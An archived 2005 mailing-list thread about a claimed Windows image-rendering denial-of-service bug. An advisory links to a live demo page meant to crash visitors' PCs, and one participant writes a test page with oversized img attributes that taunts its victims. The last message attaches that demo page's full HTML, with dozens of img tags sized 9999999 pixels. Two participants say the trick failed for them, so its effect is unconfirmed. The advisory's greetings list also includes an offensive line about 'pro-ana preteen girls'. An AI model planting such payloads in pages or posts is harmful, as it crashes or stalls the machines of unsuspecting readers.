Microsoft Windows image rendering DoS vuln [Archief]

Andrew

12/04/05, 00:05

Alpha-Pi-Omicron Pi-Alpha-Nu-Tau-Omicron-C?
Kappa-Alpha-Kappa-Omicron-Delta-Alpha-Iota-Mu-Omicron-Nu-Omicron-C?
__ ___ __ _____ _ _
___ _ _
/ / /___\/ // _ / /\ /(_) __ _| |__ / __\___ _ _ _ __
___(_) |
/ / // // / \// / / /_/ / |/ _` | '_ \ / / / _ \| | | | '_ \ /
__| | |
/ /___/ \_// /___/ //\ / __ /| | (_| | | | | / /__| (_) | |_| | | | |
(__| | |
\____/\___/\____/____/ \/ /_/ |_|\__, |_| |_| \____/\___/ \__,_|_|
|_|\___|_|_|

|___/

Overview

There exists a vulnerabilility in the way Microsoft Windows handles the
rendering
of images. By resizing an image with html properties to an extremely
large size an
attacker may perform a very quick and effective denial of service attack
upon a
victim.

I. Description and PoC

Only clients running Internet Explorer, Firefox, or Avant in Windows 2k
or XP have
been confirmed to be vulnerable. Opera does it's own image rendering and
is not
ulnerable to this method of attack. The status of Longhorn is not known.
Other
operating systems, including Mac OS X and Linux are not vulnerable.

You may point your browser to this URL to see a live demonstration of
this attack:

http://www.livejournal.com/users/deeplolz

This may cause an instant reboot or bluescreen detailing a problem with
your video
drivers. Other possibilities include an extended period of poor
performance until
next reboot, a short to medium period of nonfunctionality or a crash of the
browser.

II. Impact

Because this attack can be performed anywhere an img src is allowed,
there are
many forums including blogs, messageboards, and others which are
vulnerable. It
is hopeful that Microsoft will release a patch for this attack as soon as
possible.

III. Solution

Until a patch is released you are advised to use the Opera web browser.
It might
also be possible to write a script for the Firefox "GreaseMonkey"
extension which
performs a workaround for this attack. Such as setting height and width
of images
to 5000 pixels if they are currently set to render at over 5000.

Very special shouts: Girlvinyl, Hepkitten, Confkids, and Frienditto
(Come back!!!
We need you badly, FD!)

Shouts:
LJD, LJ-Zeera, Encyclopedia Dramatica, Lulz News Network, Project
Mayhem, Amalea,
Wednesday Night Karate Explosion, The Gundanium Alloys Manufacturers
Association,
Richmond Flash Mob Society, RVA_BS, RVA_FYAD, Brad Fitzpatrick, Mena
Trott, SALJ,
The International Department of Internet Security, #telconinjas,
undernet #drugs,
The Kadaitcha Dancers, psychotic vegans, Warren Ellis, and pro-ana
preteen girls.

patrick

21/04/05, 01:05

Andrew wrote:

> Alpha-Pi-Omicron Pi-Alpha-Nu-Tau-Omicron-C?
> Kappa-Alpha-Kappa-Omicron-Delta-Alpha-Iota-Mu-Omicron-Nu-Omicron-C?
> __ ___ __ _____ _ _
> ___ _ _
> / / /___\/ // _ / /\ /(_) __ _| |__ / __\___ _ _ _ __
> ___(_) |
> / / // // / \// / / /_/ / |/ _` | '_ \ / / / _ \| | | | '_ \ /
> __| | |
> / /___/ \_// /___/ //\ / __ /| | (_| | | | | / /__| (_) | |_| | | | |
> (__| | |
> \____/\___/\____/____/ \/ /_/ |_|\__, |_| |_| \____/\___/ \__,_|_|
> |_|\___|_|_|
>
> |___/
> Overview
>
> There exists a vulnerabilility in the way Microsoft Windows handles
> the rendering
> of images. By resizing an image with html properties to an extremely
> large size an
> attacker may perform a very quick and effective denial of service
> attack upon a
> victim.
>
>
> I. Description and PoC
>
> Only clients running Internet Explorer, Firefox, or Avant in Windows
> 2k or XP have
> been confirmed to be vulnerable. Opera does it's own image rendering
> and is not
> ulnerable to this method of attack. The status of Longhorn is not
> known. Other
> operating systems, including Mac OS X and Linux are not vulnerable.
>
> You may point your browser to this URL to see a live demonstration of
> this attack:
>
> http://www.livejournal.com/users/deeplolz
>
> This may cause an instant reboot or bluescreen detailing a problem
> with your video
> drivers. Other possibilities include an extended period of poor
> performance until
> next reboot, a short to medium period of nonfunctionality or a crash
> of the
> browser.
>
>
> II. Impact
>
> Because this attack can be performed anywhere an img src is allowed,
> there are
> many forums including blogs, messageboards, and others which are
> vulnerable. It
> is hopeful that Microsoft will release a patch for this attack as soon as
> possible.
>
>
> III. Solution
>
> Until a patch is released you are advised to use the Opera web
> browser. It might
> also be possible to write a script for the Firefox "GreaseMonkey"
> extension which
> performs a workaround for this attack. Such as setting height and
> width of images
> to 5000 pixels if they are currently set to render at over 5000.
>
>
> Very special shouts: Girlvinyl, Hepkitten, Confkids, and Frienditto
> (Come back!!!
> We need you badly, FD!)
>
> Shouts:
> LJD, LJ-Zeera, Encyclopedia Dramatica, Lulz News Network, Project
> Mayhem, Amalea,
> Wednesday Night Karate Explosion, The Gundanium Alloys Manufacturers
> Association,
> Richmond Flash Mob Society, RVA_BS, RVA_FYAD, Brad Fitzpatrick, Mena
> Trott, SALJ,
> The International Department of Internet Security, #telconinjas,
> undernet #drugs,
> The Kadaitcha Dancers, psychotic vegans, Warren Ellis, and pro-ana
> preteen girls.
>
Hmm, a few things.

1) That site is down. Has been down ever since I got this email.
2) I created a site with this HTML code:

/././././././././././././

<html>
<body>
<p>If you are using IE, YOU SUCK! Just kidding.<br>
If you're in Window$ though, this should crash your puter<br>
or give you a BSOD. HAVE FUN BUDDY! MUA HA HA!</p>

<img src="http://thepcelement.com/hardware/neowinscreenie.jpg"
height="99999999999999999999999999999999999999999999999999 91"
width="99999999999999999999999999999999999999999999999999 9999999999999991">

</body>
</html>

/./././././././././././

Yet no crash, this was on my Dad's PC running Window$ XP, no SP2,
Firefox and Internet Exploder, the image was all white, no slowdown or
anything.

Can you tell me what I'm doing wrong and give me the source to that page
you had up as a live demonstration? I'm interested to see more about
this vulnerability.

Thanks for posting, have a nice day,

patrick

21/04/05, 22:55

This is a multi-part message in MIME format.
--------------000106050306060300060900
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Ok everyone, someone sent me a copy of the site which was the link that
was originally sent with the vulnerability. Looking closer, it seems
that it may not be that the extremely large height and width properties
of the image in a site is what is causing the crash. However, I have not
had time to test it out, I will in a little bit, I need to finish a few
things.

Here is the full page source (it's in the attachment). This is what I
was talking about though. Notice this in the page source:

<code>

</script>
</code>

The site also has this:

<code>

<img src="http://home.comcast.net/~squaresoft0/internet.jpg" height="9999999" width=
"9999999"><br /><img src="http://home.comcast.net/~squaresoft0/internet.jpg" height="
9999999" width="9999999">

</code>

Now, I will try setting up a site with just that code, and then a site
with both, and see what happens.

I only briefly looked at the page source, so there may be more. Tell me
what you guys find.

Jesse Morgan wrote:

> Yes, it was SP2. My values were at 50000000 or something similar. I also
> created a 50000x50000 gif and tried that, still no luck.
> Unfortunately I didn't get my hands on the code.
> Also a friend's system rebooted after a bsod (he has an ATI video card
> and I have on-board video on a laptop)
>
> patrick wrote:
>
> >Hmm, don't think so, though, you said it crashed your computer... was it
> >XP SP2? It sounds like it later in your email but I'm not sure... it's
> >quite interesting. Possibly his site had a different code than the one
> >you and I set up? He didn't go into much detail about the code except
> >that the "height" and "width" properties should be an enourmous amount.
> >Did you by any chance get the page source or no?
>
> >Jesse Morgan wrote:
>
>
> >>His site was up when I got the email and it did crash my computer.
> >>Livejorunal locked his account a few hours later.
> >>I too tried creating the exploit myself a few days later (windows xp
> >>sp2) and it failed to work. Maybe Microsoft somehow got a patch
> >>installed without us knowing?
> >>
> >>patrick wrote:
> >>
> >>
> >>>Andrew wrote:
> >>
> >>
> >>>> Alpha-Pi-Omicron Pi-Alpha-Nu-Tau-Omicron-C?
> >>>> Kappa-Alpha-Kappa-Omicron-Delta-Alpha-Iota-Mu-Omicron-Nu-Omicron-C?
> >>>>__ ___ __ _____ _ _
> >>>>___ _ _
> >>>>/ / /___\/ // _ / /\ /(_) __ _| |__ / __\___ _ _ _ __
> >>>>___(_) |
> >>>>/ / // // / \// / / /_/ / |/ _` | '_ \ / / / _ \| | | | '_ \ /
> >>>>__| | |
> >>>>/ /___/ \_// /___/ //\ / __ /| | (_| | | | | / /__| (_) | |_| | | | |
> >>>>(__| | |
> >>>>\____/\___/\____/____/ \/ /_/ |_|\__, |_| |_| \____/\___/ \__,_|_|
> >>>>|_|\___|_|_|
> >>>>
> >>>>|___/
> >>>>Overview
> >>>>
> >>>>There exists a vulnerabilility in the way Microsoft Windows handles
> >>>>the rendering
> >>>>of images. By resizing an image with html properties to an extremely
> >>>>large size an
> >>>>attacker may perform a very quick and effective denial of service
> >>>>attack upon a
> >>>>victim.
> >>>>
> >>>>
> >>>>I. Description and PoC
> >>>>
> >>>>Only clients running Internet Explorer, Firefox, or Avant in Windows
> >>>>2k or XP have
> >>>>been confirmed to be vulnerable. Opera does it's own image rendering
> >>>>and is not
> >>>>ulnerable to this method of attack. The status of Longhorn is not
> >>>>known. Other
> >>>>operating systems, including Mac OS X and Linux are not vulnerable.
> >>>>
> >>>>You may point your browser to this URL to see a live demonstration of
> >>>>this attack:
> >>>>
> >>>>http://www.livejournal.com/users/deeplolz
> >>>>
> >>>>This may cause an instant reboot or bluescreen detailing a problem
> >>>>with your video
> >>>>drivers. Other possibilities include an extended period of poor
> >>>>performance until
> >>>>next reboot, a short to medium period of nonfunctionality or a crash
> >>>>of the
> >>>>browser.
> >>>>
> >>>>
> >>>>II. Impact
> >>>>
> >>>>Because this attack can be performed anywhere an img src is allowed,
> >>>>there are
> >>>>many forums including blogs, messageboards, and others which are
> >>>>vulnerable. It
> >>>>is hopeful that Microsoft will release a patch for this attack as
> >>
> >>soon as
> >>
> >>>>possible.
> >>>>
> >>>>
> >>>>III. Solution
> >>>>
> >>>>Until a patch is released you are advised to use the Opera web
> >>>>browser. It might
> >>>>also be possible to write a script for the Firefox "GreaseMonkey"
> >>>>extension which
> >>>>performs a workaround for this attack. Such as setting height and
> >>>>width of images
> >>>>to 5000 pixels if they are currently set to render at over 5000.
> >>>>
> >>>>
> >>>>Very special shouts: Girlvinyl, Hepkitten, Confkids, and Frienditto
> >>>>(Come back!!!
> >>>>We need you badly, FD!)
> >>>>
> >>>>Shouts:
> >>>>LJD, LJ-Zeera, Encyclopedia Dramatica, Lulz News Network, Project
> >>>>Mayhem, Amalea,
> >>>>Wednesday Night Karate Explosion, The Gundanium Alloys Manufacturers
> >>>>Association,
> >>>>Richmond Flash Mob Society, RVA_BS, RVA_FYAD, Brad Fitzpatrick, Mena
> >>>>Trott, SALJ,
> >>>>The International Department of Internet Security, #telconinjas,
> >>>>undernet #drugs,
> >>>>The Kadaitcha Dancers, psychotic vegans, Warren Ellis, and pro-ana
> >>>>preteen girls.
> >>>>
> >>>Hmm, a few things.
> >>
> >>>1) That site is down. Has been down ever since I got this email.
> >>>2) I created a site with this HTML code:
> >>
> >>>/././././././././././././
> >>
> >>><html>
> >>><body>
> >>><p>If you are using IE, YOU SUCK! Just kidding.<br>
> >>>If you're in Window$ though, this should crash your puter<br>
> >>>or give you a BSOD. HAVE FUN BUDDY! MUA HA HA!</p>
> >>
> >>><img src="http://thepcelement.com/hardware/neowinscreenie.jpg"
> >>>height="99999999999999999999999999999999999999999999999999 91"
> >>>width="99999999999999999999999999999999999999999999999999 9999999999999991">
> >>
> >>></body>
> >>></html>
> >>
> >>>/./././././././././././
> >>
> >>>Yet no crash, this was on my Dad's PC running Window$ XP, no SP2,
> >>>Firefox and Internet Exploder, the image was all white, no slowdown or
> >>>anything.
> >>
> >>>Can you tell me what I'm doing wrong and give me the source to that
> page
> >>>you had up as a live demonstration? I'm interested to see more about
> >>>this vulnerability.
> >>
> >>>Thanks for posting, have a nice day,
>

--------------000106050306060300060900
Content-Type: text/plain;
name="vulnerability.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
filename="vulnerability.txt"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://ww=
w.w3.org/TR/html4/loose.dtd">
<html>
<head>
<style type=3D"text/css">
body, td {
font-family: "Verdana", sans-serif;
font-size: 10pt;
}
tt, pre {
font-family: monospace;
}
a {
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
=2Eshadowed {
font-size: 8pt;
background: #aaaaaa;
}
=2Emeta {
font-size: 8pt;
}
=2Eindex {
font-size: 8pt;
}
=2Ecaption, .index {
color: ********;
}
=2Ecomments {
font-size: 8pt;
}

</style><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3D=
utf-8" />
<link rel=3D"alternate" type=3D"application/rss+xml" title=3D"RSS" href=3D=
"http://www.livejournal.com/users/deeplolz/data/rss" />
<link rel=3D"alternate" type=3D"application/atom+xml" title=3D"Atom" href=
=3D"http://www.livejournal.com/users/deeplolz/data/atom" />
<link rel=3D"service.feed" type=3D"application/atom+xml" title=3D"AtomAPI=
-enabled feed" href=3D"http://www.livejournal.com/interface/atomapi/deepl=
olz/feed" />
<link rel=3D"service.post" type=3D"application/atom+xml" title=3D"Create =
a new post" href=3D"http://www.livejournal.com/interface/atomapi/deeplolz=
/post" />
<link rel=3D"meta" type=3D"application/rdf+xml" title=3D"FOAF" href=3D"ht=
tp://www.livejournal.com/users/deeplolz/data/foaf" />
<meta name=3D"foaf:maker" content=3D"foaf:mbox_sha1sum '10001d4858dff0309=
12c67ba8015886e7785f734'" />
<title>deeplolz</title>
</head>
<body bgcolor=3D"#2d4f89" text=3D"#000000" link=3D"#0000ff" vlink=3D"#000=
0ff" alink=3D"#00ffff">







<script language=3D"JavaScript" type=3D"text/javascript" src=3D"/sys/comm=
on_scripts.js"></script>
<script language=3D"JavaScript" type=3D"text/javascript">setAdGroup('217.=
197.149.135');</script>
<script language=3D"JavaScript">

</script>

<noscript><img src=3D"http://hb.lycos.com/header?VID=3D6105&LHIG=3D1" hei=
ght=3D"1" width=3D"1"></noscript>



<script>
var cm_role =3D "live"
var cm_host =3D "angelfire.lycos.com"
var cm_taxid =3D "/memberembedded"

</script>=20
<script src=3D"http://scripts.lycos.com/catman/init.js"></script>
<script language=3D"JavaScript1.1">
var objAdMgr =3D new AdManager();

if(adChannel !=3D "") { objAdMgr.setForcedParam("google_ad_channel", adCh=
annel); }
var strProdSetName =3D objAdMgr.chooseProductSet(); objAdMgr.renderHeader=
();
</script>



<script language=3D"JavaScript" type=3D"text/javascript">

</script>
<noscript>
<img src=3D"/doc/images/track/ot_nosidepane.gif?rand=3D228969" alt=3D"dot=
" width=3D"150" height=3D"1" />
</noscript>

<div align=3D"center" id=3D"FooterAd_228969" name=3D"FooterAd_228969" sty=
le=3D"display:none">
<br clear=3D"all" />
<script>
if (objAdMgr.isSlotAvailable("leaderboard2")) {
objAdMgr.renderSlot("leaderboard2")
}

</script>
<noscript>
<a href=3D"http://network.realmedia.com/RealMedia/ads/click_nx.ads/lycosa=
ngelfire/ros/728x90/wp/ss/a/228969@Top1?x"><img border=3D"0" src=3D"http:=
//network.realmedia.com/RealMedia/ads/adstream_nx.ads/lycosangelfire/ros/=
728x90/wp/ss/a/228969@Top1"></a>
</noscript>
</div>

<script language=3D"JavaScript" type=3D"text/javascript">
window.onload =3D function () {
setKeywordCookie('(none)');
showAd('FooterAd_228969');
buildExitHandler();
}
// -->
</script>
<script language=3D"JavaScript" type=3D"text/javascript">

</script>
<noscript>
<img src=3D"/doc/images/track/ot_noscript.gif?rand=3D956469" alt=3D"dot" =
width=3D"150" height=3D"1" />
</noscript>

<div align=3D"center">
<form name=3D"lycos_search"
action=3D"http://r.hotbot.com/r/memberpgs_lycos_searchbox_af=
/http://www.angelfire.lycos.com/cgi-bin/search/pursuit"
method=3D"get"
target=3D"_new">
<table width=3D"728" cellpadding=3D"0" cellspacing=3D"0" border=3D"0">

<tr>
<td><a href=3D"/adm/redirect/www"><img src=3D"http://ly.lygo.com/af/d/bui=
ld/hostedby_af.gif" alt=3D"hosted by Angelfire" width=3D"130" height=3D"3=
0" border=3D"0" vspace=3D"2" /></a></td>
<td><font size=3D"1" face=3D"verda=
na, arial, helvetica, sans serif">
<font size=3D"2"><strong>S=
earch:</strong></font>
<input type=3D"radio" name=3D"cat" value=3D"angelfire" checked=3D"=
checked" />Angelfire
<input type=3D"radio" name=3D"cat" value=3D"lycos" />Web by=20
<img src=3D"http://ly.lygo.com/ly/srch/lycos39x12.gif" alt=3D"Lyco=
s Search" width=3D"39" height=3D"12" border=3D"0" />
<input type=3D"text" name=3D"query" size=3D"10" />=20
<input name=3D"submit" type=3D"submit" value=3D"Go!" />
</font>
</td>

</tr>

<tr>
<td colspan=3D"2" width=3D"728" align=3D"center"><script>
if (objAdMgr.isSlotAvailable("leaderboard")) {
objAdMgr.renderSlot("leaderboard")
}
</script>
<noscript>
<a href=3D"http://network.realmedia.com/RealMedia/ads/click_nx.ads/lycosa=
ngelfire/ros/728x90/wp/ss/a/956469@Top1?x"><img border=3D"0" src=3D"http:=
//network.realmedia.com/RealMedia/ads/adstream_nx.ads/lycosangelfire/ros/=
728x90/wp/ss/a/956469@Top1"></a>
</noscript>
</td>
</tr>
</table>
</form>
<table border=3D"0" cellpadding=3D"0" cellspacing=3D"3" width=3D"728">
<tr>
<td><font size=3D"1" face=3D"verdana, arial, helvetica, sans serif"><a =
href=3D"http://r.hotbot.com/r/afmempage_photoalbum/http://angelfire.lycos=
=2Ecom/doc/campaigns/landing/free_photo.html" target=3D"_NEW">Build an On=
line Photo Album</a></font></td>

<td align=3D"right"><font size=3D"1" face=3D"verdana, arial, helvetica,=
sans serif"><a href=3D"http://r.lycos.com/r/afmempage_freeblog/http://an=
gelfire.lycos.com/doc/campaigns/landing/moblog_free.html">Try Blogging fo=
r FREE</a></font></td>
</tr>
</table>
<br />
</div>

<script language=3D"JavaScript" type=3D"text/javascript">
// -->
</script>

<script language=3D"JavaScript1.1">
objAdMgr.renderFooter();
</script>









<div align=3D"center">
<table width=3D"600" cellpadding=3D"2" cellspacing=3D"0"
border=3D"0"
summary=3D"">
<tr><td bgcolor=3D"#000000" align=3D"center">
<table width=3D"100%" cellpadding=3D"3" cellspacing=3D"0"
border=3D"0"
summary=3D"">
<tr class=3D"caption">
<td class=3D"caption" align=3D"left"><b>deeplolz</b></td>
<td class=3D"index" align=3D"right">[<b>entries</b>|<a class=3D'index' hr=
ef=3D'http://www.livejournal.com/users/deeplolz/calendar'>archive</a>|<a =
class=3D'index' href=3D'http://www.livejournal.com/users/deeplolz/friends=
'>friends</a>|<a class=3D'index' href=3D'http://www.livejournal.com/useri=
nfo.bml?user=3Ddeeplolz'>userinfo</a>]</td>

</tr></table>
<table width=3D"100%" cellpadding=3D"3" cellspacing=3D"0"
border=3D"0"
summary=3D"">
<tr>
<td class=3D"shadowed" align=3D"center">
<table cellspacing=3D"5"
cellpadding=3D"0"
border=3D"0"
summary=3D"" style=3D"margin-left: auto; margin-right: auto;">
<tr><td>
<div align=3D"center"><b>deeplolz</b></div><p>
<table cellspacing=3D"0"
cellpadding=3D"0"
border=3D"0"
summary=3D"">

<tr>
<td class=3D"meta">[</td>
<td class=3D"meta" align=3D"right"><b>userinfo</b></td>
<td class=3D"meta" align=3D"center">|</td>

<td class=3D"meta" align=3D"left"><a href=3D"http://www.livejournal.com/u=
serinfo.bml?user=3Ddeeplolz">livejournal userinfo</a></td>
<td class=3D"meta">]</td>
</tr>
<tr>
<td class=3D"meta">[</td>
<td class=3D"meta" align=3D"right"><b>archive</b></td>
<td class=3D"meta" align=3D"center">|</td>
<td class=3D"meta" align=3D"left"><a href=3D"http://www.livejournal.com/u=
sers/deeplolz/calendar">journal archive</a></td>
<td class=3D"meta">]</td>
</tr>

</table>
</td>
</tr>
</table>
</td>
</tr></table>
</td></tr>
</table>

<p>

<table width=3D"600" cellpadding=3D"2" cellspacing=3D"0" border=3D"0" sum=
mary=3D"" class=3D"entrybox">
<tr align=3D'left'>
<td bgcolor=3D"#000000" align=3D"center">
<table width=3D"100%" cellpadding=3D"5" cellspacing=3D"0" border=3D"0" su=
mmary=3D"">

<tr align=3D'left'>
<td class=3D"caption"> fdahfhlsdhjlfdhkls</td>
<td align=3D"right" class=3D"index">[Apr. 11th, 2005|<b>07:47 am</b>]</td=
>
</tr>
<tr align=3D'left'>
<td colspan=3D"2" bgcolor=3D"********">
<img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"=
9999999" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squ=
aresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img sr=
c=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999=
" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft=
0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"ht=
tp://home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=
=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/inter=
net.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://ho=
me.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"999=
9999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg=
" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://home.comc=
ast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><=
br /><img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" heigh=
t=3D"9999999" width=3D"9999999"><br /><img src=3D"http://home.comcast.net=
/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><i=
mg src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"99=
99999" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squar=
esoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D=
"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" wi=
dth=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/in=
ternet.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http:/=
/home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"=
9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/internet.=
jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://home.c=
omcast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999=
"><br /><img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" he=
ight=3D"9999999" width=3D"9999999"><br /><img src=3D"http://home.comcast.=
net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /=
><img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D=
"9999999" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~sq=
uaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img s=
rc=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"999999=
9" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresof=
t0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"h=
ttp://home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" widt=
h=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/inte=
rnet.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://w=
ww.livejournal.com/userpic/28442802/5565314" height=3D"9999999" width=3D"=
9999999"><br /><img src=3D"http://stat.livejournal.com/img/goat-normal.gi=
f" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://stat.liv=
ejournal.com/xc/logocombined.gif" height=3D"9999999" width=3D"9999999"><b=
r /><img src=3D"http://jameth.whatthefuck.com/apr2005/10/bluescreen.jpg" =
height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://www.torianu=
s.com/bs/04-10-05-beach1.jpg" height=3D"9999999" width=3D"9999999"><br />=
<img src=3D"http://yurikim.canon-club.ru/mswalk20.jpg" height=3D"9999999"=
width=3D"9999999"><br /><img src=3D"http://antwrp.gsfc.nasa.gov/apod/ima=
ge/0504/eclipse_verdin.jpg" height=3D"9999999" width=3D"9999999"><br /><i=
mg src=3D"http://www.laneyb.com/img/nyc/nyc_040905_00.jpg" height=3D"9999=
999" width=3D"9999999"><br /><img src=3D"http://www.tshirthell.com/shirts=
/products/a452/a452.gif" height=3D"9999999" width=3D"9999999"><br /><img =
src=3D"http://www.livejournal.com/userpic/8391925/48875" height=3D"999999=
9" width=3D"9999999"><br /><img src=3D"http://www.livejournal.com/userpic=
/26955440/1052779" height=3D"9999999" width=3D"9999999"><br /><img src=3D=
"http://img.photobucket.com/albums/v625/sidrakollers/cartoon9.gif" height=
=3D"9999999" width=3D"9999999"><br /><img src=3D"http://www.livejournal.c=
om/userpic/21778209/979312" height=3D"9999999" width=3D"9999999"><br /><i=
mg src=3D"http://www.livejournal.com/userpic/24594240/112467" height=3D"9=
999999" width=3D"9999999"><br /><img src=3D"http://www.sweetusagi.com/ljs=
tuff/mayabachi.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D=
"http://www.livejournal.com/userpic/10893546/1196782" height=3D"9999999" =
width=3D"9999999"><br /><img src=3D"http://spamusement.com/gfx/226.gif" h=
eight=3D"9999999" width=3D"9999999"><br /><img src=3D"http://www.nuxx.net=
/albums/wallpaper/Active_Galaxy_Right.thumb.jpg" height=3D"9999999" width=
=3D"9999999"><br /><img src=3D"http://www.gamewallpapers.com/widescreen/d=
ual-screen%20thumbnails/wallpaper_jak_3_and_ratchet_and_clank_up_your_ars=
enal_01.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http:=
//foo.katatonic.org/snapshots/desk.jpg" height=3D"9999999" width=3D"99999=
99"><br /><img src=3D"http://xavsniper.free.fr/wallpapers/unreal-tourname=
nt-2004_dual.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"=
http://www.preblelaw.net/images/sa/wallpapers/PovRayMan-Mario2-2-3200x120=
0.png" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://inic=
ia.es/de/ger/fvwm2/escritorio-3200.png" height=3D"9999999" width=3D"99999=
99"><br /><img src=3D"http://www.nuwen.net/download/northdesk.png" height=
=3D"9999999" width=3D"9999999"><br /><img src=3D"http://free.house.cx/~wi=
lliam/backgrounds/thelakes-3200x1200-001.jpg" height=3D"9999999" width=3D=
"9999999"><br /><img src=3D"http://xxlwallpapers.com/Download/liquid2-320=
0x1200.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http:/=
/www.dreamshade.net/gentoo/wps/gwp02-3200x1200.jpg" height=3D"9999999" wi=
dth=3D"9999999"><br /><img src=3D"http://www.poopinmymouth.com/process/ch=
aracter_process/desktop.jpg" height=3D"9999999" width=3D"9999999"><br /><=
img src=3D"http://carol.gimp.org/gallery/images/2004-oscon_mntshasta-big.=
jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://dklfjd=
sk.net/lol.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"ht=
tp://f00f.microsoft.com/lol.jpg" height=3D"9999999" width=3D"9999999"><br=
/><img src=3D"http://fshkjdhfds.net/lol.jpg" height=3D"9999999" width=3D=
"9999999"><br /><img src=3D"http://www.google.com/intl/en/images/logo.gif=
" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://us.i1.yim=
g.com/us.yimg.com/i/us/av/logo.gif" height=3D"9999999" width=3D"9999999">=
<br /><img src=3D"http://www.livejournal.com/userpic/23828019/887477" hei=
ght=3D"9999999" width=3D"9999999"><br /><img src=3D"http://www.luther.k12=
=2Ewi.us/images/Knight%20-%20Transparent%20Background-INVERTED.gif" heigh=
t=3D"9999999" width=3D"9999999"><br /><img src=3D"http://pics.livejournal=
=2Ecom/subbes/pic/00013t5s/s640x480" height=3D"9999999" width=3D"9999999"=
><br /><img src=3D"http://us.a1.yimg.com/us.yimg.com/i/ww/beta/y3.gif" he=
ight=3D"9999999" width=3D"9999999"></td></tr>
<tr bgcolor=3D"#aaaaaa"><td align=3D'left' class=3D'comments'>
<a href=3D"http://www.livejournal.com/users/deeplolz/1312.html">link</a><=
/td><td align=3D'right' class=3D'comments'><a href=3D"http://www.livejour=
nal.com/users/deeplolz/1312.html?mode=3Dreply">post comment</a></td></tr>=
</table></td></tr></table><p>
<table width=3D"600" cellpadding=3D"2" cellspacing=3D"0" border=3D"0" sum=
mary=3D"" class=3D"entrybox">

<tr align=3D'left'>
<td bgcolor=3D"#000000" align=3D"center">
<table width=3D"100%" cellpadding=3D"5" cellspacing=3D"0" border=3D"0" su=
mmary=3D"">
<tr align=3D'left'>
<td class=3D"caption"> sjdlfkahsdfklhasdasdhasdhalsdhas</td>
<td align=3D"right" class=3D"index">[Apr. 11th, 2005|<b>07:47 am</b>]</td=
>
</tr>
<tr align=3D'left'>
<td colspan=3D"2" bgcolor=3D"********">
<img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"=
9999999" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squ=
aresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img sr=
c=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999=
" width=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft=
0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"ht=
tp://home.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=
=3D"9999999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/inter=
net.jpg" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://ho=
me.comcast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"999=
9999"><br /><img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg=
" height=3D"9999999" width=3D"9999999"><br /><img src=3D"http://home.comc=
ast.net/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><=
br /><img src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" heigh=
t=3D"9999999" width=3D"9999999"><br /><img src=3D"http://home.comcast.net=
/~squaresoft0/internet.jpg" height=3D"9999999" width=3D"9999999"><br /><i=
mg src=3D"http://home.comcast.net/~squaresoft0/internet.jpg" height=3D"99=
